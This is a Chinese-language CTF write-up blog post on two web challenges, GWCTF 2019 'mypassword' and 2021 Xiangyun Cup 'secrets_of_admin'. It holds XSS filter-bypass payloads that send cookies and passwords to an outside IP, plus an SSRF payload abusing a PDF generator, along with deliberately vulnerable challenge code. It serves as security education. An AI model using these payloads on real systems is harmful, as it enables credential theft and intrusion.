[GWCTF 2019]mypassword

xss+csp

打开页面可以注册登录

登进去提示不是sql注入 然后提示源码 看一下

然后有段后端代码写道了注释里

			<!--
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
-->

根据这些过滤猜测应该是xss了 然后这个过滤的话 是吧一些关键字替换为空了

这个好办 那双写不就要过了吗

然后 由于这里是用数组来取的黑名单 然后一个一个遍历来替换为空 所以为了方便 我们直接取最后一个黑名单cookie来绕过

例如document可以使用documcookieent来绕过

所以 绕过的xss代码为

<scrcookieipt>docucookiement.loccookieation=`https://43.143.197.175:2333/?f=`+encodeURIComponent(docucookiement.cookcookieie)</scricookieprt>

然后 我们发现

这里输出了两个第一个是把第一次coocookiekie替换为空 然后形成cookie

第二次是后来形成的cokie也替换为空了 这是为什么呢 当时 第一眼没看出来这是为什么 (由于我代码功底太垃圾了)然后就要说一下这个调试了 很强大 调试了一下 发现上面 有个while(true) 然后 所以会在把下个cooike给过滤掉 所以 这个双写cooike的方法是不可用的了 然后目的是获得cookie 但是我们没有办法绕过cookie的过滤

那我们还有另一种做法 就是导入外部js 例如<script scr="xxxxx"><script>

但是 发现这里有 csp (前几天看了zedd的学习xss 里面有提到csp 也是稍微的学习了一下)

Content-Security-Policy:default-src 'self';script-src 'unsafe-inline' 'self'

只能引用同源的js文件

继续往前看 发现在登录页面这里有段这样的代码

if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

大意是把cookie取出来 然后通过js操作 把cooike的 username 和 password 填充到表单里面

所以现在 我们就又思路了 就是 先伪造一个表单 然后 通过引入 login.js login.js 会把cooike填充到表单 然后我们就可以发送表单来 获取cookie的内容

exp

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://ip:port/?psw="+psw;
</scrcookieipt>

[2021祥云杯]secrets_of_admin

逻辑漏洞的题目

感觉代码稍微有点多 这里先吧主要的代码贴一下吧

//index.ts
import * as express from 'express';
import { Request, Response, NextFunction } from 'express';
import * as createError from "http-errors";
import * as pdf from 'html-pdf';
import DB from '../database';
import * as fs from 'fs';
import * as path from 'path';
import * as crypto from 'crypto';
import { promisify } from 'util';
import { v4 as uuid } from 'uuid'; const readFile = promisify(fs.readFile)
//定义两个中间件
const getCheckSum = (filename: string): Promise<string> => {
return new Promise((resolve, reject) => {
const shasum = crypto.createHash('md5');
try {
const s = fs.createReadStream(path.join(__dirname , "../files/", filename));
s.on('data', (data) => {
shasum.update(data)
})
s.on('end', () => {
return resolve(shasum.digest('hex'));
})
} catch (err) {
reject(err)
}
})
} const checkAuth = (req: Request, res:Response, next:NextFunction) => {
let token = req.signedCookies['token']
if (token && token["username"]) {
if (token.username === 'superuser'){
next(createError(404)) // superuser is disabled since you can't even find it in database :)
}
if (token.isAdmin === true) {
next();
}
else {
return res.redirect('/')
}
} else {
next(createError(404));
}
} const router = express.Router(); router.get('/', (_, res) => res.render('index', { message: `Only admin's function is implemented. `}))
// 登录
router.post('/', async (req, res) => {
let { username, password } = req.body;
if ( username && password) {
if ( username == '' || typeof(username) !== "string" || password == '' || typeof(password) !== "string" ) {
return res.render('index', { error: 'Parameters error '});
}
let data = await DB.Login(username, password)
if(!data) {
return res.render('index', { error : 'You are not admin '});
}
res.cookie('token', {
username: username,
isAdmin: true
}, { signed: true })
res.redirect('/admin');
} else {
return res.render('index', { error : 'Parameters cannot be blank '});
}
}) router.get('/admin', checkAuth, async (req, res) => {
let token = req.signedCookies['token'];
try {
const files = await DB.listFile(token.username);
if (files) {
res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
}
} catch (err) {
return res.render('admin', { error: 'Something wrong ... '})
}
return res.render('admin');
}); router.post('/admin', checkAuth, (req, res, next) => {
let { content } = req.body;
if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
// even admin can't be trusted right ? :)
return res.render('admin', { error: 'Forbidden word '});
} else {
let template = `
<html>
<meta charset="utf8">
<title>Create your own pdfs</title>
<body>
<h3>${content}</h3>
</body>
</html>
`
try {
const filename = `${uuid()}.pdf`
pdf.create(template, {
"format": "Letter",
"orientation": "portrait",
"border": "0",
"type": "pdf",
"renderDelay": 3000,
"timeout": 5000
}).toFile(`./files/${filename}`, async (err, _) => {
if (err) next(createError(500));
const checksum = await getCheckSum(filename);
await DB.Create('superuser', filename, checksum)
return res.render('admin', { message : `Your pdf is successfully saved You know how to download it right?`});
});
} catch (err) {
return res.render('admin', { error : 'Failed to generate pdf '})
}
}
}); // You can also add file logs here!
router.get('/api/files', async (req, res, next) => {
if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {
return next(createError(401));
}
let { username , filename, checksum } = req.query;
if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
try {
await DB.Create(username, filename, checksum)
return res.send('Done')
} catch (err) {
return res.send('Error!')
}
} else {
return res.send('Parameters error')
}
}); router.get('/api/files/:id', async (req, res) => {
let token = req.signedCookies['token']
if (token && token['username']) {
if (token.username == 'superuser') {
return res.send('Superuser is disabled now');
}
try {
let filename = await DB.getFile(token.username, req.params.id)
if (fs.existsSync(path.join(__dirname , "../files/", filename))){
return res.send(await readFile(path.join(__dirname , "../files/", filename)));
} else {
return res.send('No such file!');
}
} catch (err) {
return res.send('Error!');
}
} else {
return res.redirect('/');
}
}); export default router;
//database.ts
import * as sqlite3 from 'sqlite3'; let db = new sqlite3.Database('./database.db', (err) => {
if (err) {
console.log(err.message)
} else {
console.log("Successfully Connected!");
db.exec(`
DROP TABLE IF EXISTS users; CREATE TABLE IF NOT EXISTS users (
id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
username VARCHAR(255) NOT NULL,
password VARCHAR(255) NOT NULL
); INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645'); DROP TABLE IF EXISTS files; CREATE TABLE IF NOT EXISTS files (
username VARCHAR(255) NOT NULL,
filename VARCHAR(255) NOT NULL UNIQUE,
checksum VARCHAR(255) NOT NULL
); INSERT INTO files (username, filename, checksum) VALUES ('superuser','flag','be5a14a8e504a66979f6938338b0662c');`);
console.log('Init Finished!')
}
}); export default class DB {
static Login(username: string, password: string): Promise<any> {
return new Promise((resolve, reject) => {
db.get(`SELECT * FROM users WHERE username = ? AND password = ?`, username, password, (err , result ) => {
if (err) return reject(err);
resolve(result !== undefined);
})
})
} static getFile(username: string, checksum: string): Promise<any> {
return new Promise((resolve, reject) => {
db.get(`SELECT filename FROM files WHERE username = ? AND checksum = ?`, username, checksum, (err , result ) => {
if (err) return reject(err);
resolve(result ? result['filename'] : null);
})
})
} static listFile(username: string): Promise<any> {
return new Promise((resolve, reject) => {
db.all(`SELECT filename, checksum FROM files WHERE username = ? ORDER BY filename`, username, (err, result) => {
if (err) return reject(err);
resolve(result);
})
})
} static Create(username: string, filename: string, checksum: string): Promise<any> {
return new Promise((resolve, reject) => {
try {
let query = `INSERT INTO files(username, filename, checksum) VALUES('${username}', '${filename}', '${checksum}');`;
resolve(db.run(query));
} catch (err) {
reject(err);
}
})
}
}

逻辑漏洞题目 一个一个路由分析吧

这里一个登陆页面 用到了DB.login看一下这个函数

就是看看user表中是否有这条数据 然后往上看 这里插入往user表中插入了一条数据 INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');那现在我们就可以登录admin账户了 登录上去之后就会给设置cookie那些东西 验证的时候会用到

继续往下分析别的路由

这个路由会经过这个checkAuth中间件函数 刚刚给设置的cookie就可以通过这些验证 然后又经过了这个函数DB.listFile 看一下这个函数是干嘛用的

这个函数会选择当前用户(admin)名字下所有的 filename的名字出来 然后返回给token

然后看这个路由

checkauth还是之前经过token验证的函数 这里又过滤了几个字符 然后把我们输入的conten内容保存到pdf中去

生成pdf之后 又经过了 getchecksum函数 这个函数是把 pdf里面的内容 生成一个加密的字符串 然后用作checksum 创建在superuser用户下 filename 是随机生成的

然后看下一个路由

这个路由的功能是可以创建files 表中的数据 但是这个前提是必须要本地去访问

继续看下一个路由

这个路由是可以下载文件 并且他是禁止用户是superuser的 并且需要的信息只是 username 和 checksum就可以下载文件了

然后现在要明确flag在哪里 是在 这个 files目录下的 但是 如果我们想要通过这个api/files/:id来下载flag文件的话 是不可以的 因为flag是在 superuser用户下的 但是看/api/file 路由 他是可以在file表里面创建信息的 然后这个时候如果我们创建用户是admin 然后我们创建filename是flag 然后checksum为123

但是现在还有一个问题就是怎样才能本地访问呢 router.post('/admin', 通过这个路由就可以 因为在生成pdf中的这个content内容 如果我们加入image标签引入的话 他是会去自动加载的 所以我们就可以通过这种方法来ssrf

由于对content内容做了一下过滤 可以用数组来绕过(虽然不知道 具体是怎么绕过的 ) 这里是content内容为<img src="http://127.0.0.1:8888/api/files?user=admin&filename=./flag&checksum=123">这样他就会在tables表中创建一条记录

这样就可以通过ckecksum 123 来直接读flag文件

最新文章

  1. HttpClient (POST GET PUT)请求
  2. 使用IHTMLDocument2解决弹出&quot;为了让该网站给你提供个人化信息,是否允许在你计算机放置cookie?&quot;
  3. U盘因为装linux系统变小了
  4. Failed to create the Java Virtual Machine.问题的解决
  5. shell脚本-获取时间
  6. 检测是否支持HTML5中的Video标签
  7. 为了以后愉快的玩耍,Virtualbox安装Ubuntu
  8. Word Break I II
  9. Python自动化测试 -ConfigParser模块读写配置文件
  10. Objective-C 自定义UISlider滑杆 分段样式
  11. Mycat 分片规则详解--范围分片
  12. 1.httpClient和ScrollView
  13. Netty 系列六(编解码器).
  14. swagger bug
  15. PHP中的Trait方法
  16. Spring Boot + thymeleaf 后台与页面(二)
  17. 浅谈 MVC 和 MTV
  18. Android开发-- Genymotion模拟器
  19. 对json的理解?
  20. git untrack file

热门文章

  1. ajax的原理是什么?如何实现?
  2. windows下dapr的代码调试--非docker部署
  3. 自动化测试如此容易!多语言自动化测试框架 Selenium 编程(C#篇)
  4. JZOJ 6800.NOIP2020.9.19模拟spongebob
  5. OpenMediaVault5.6(OMV) 安装omv-extras - 2022.1.12
  6. group by 、concat_ws()、 group_caoncat()的使用
  7. js(最新)手机号码 正则验证 - 代码篇
  8. Linux安装PHP8 新版笔记
  9. MySQ安装装
  10. sql(上)例题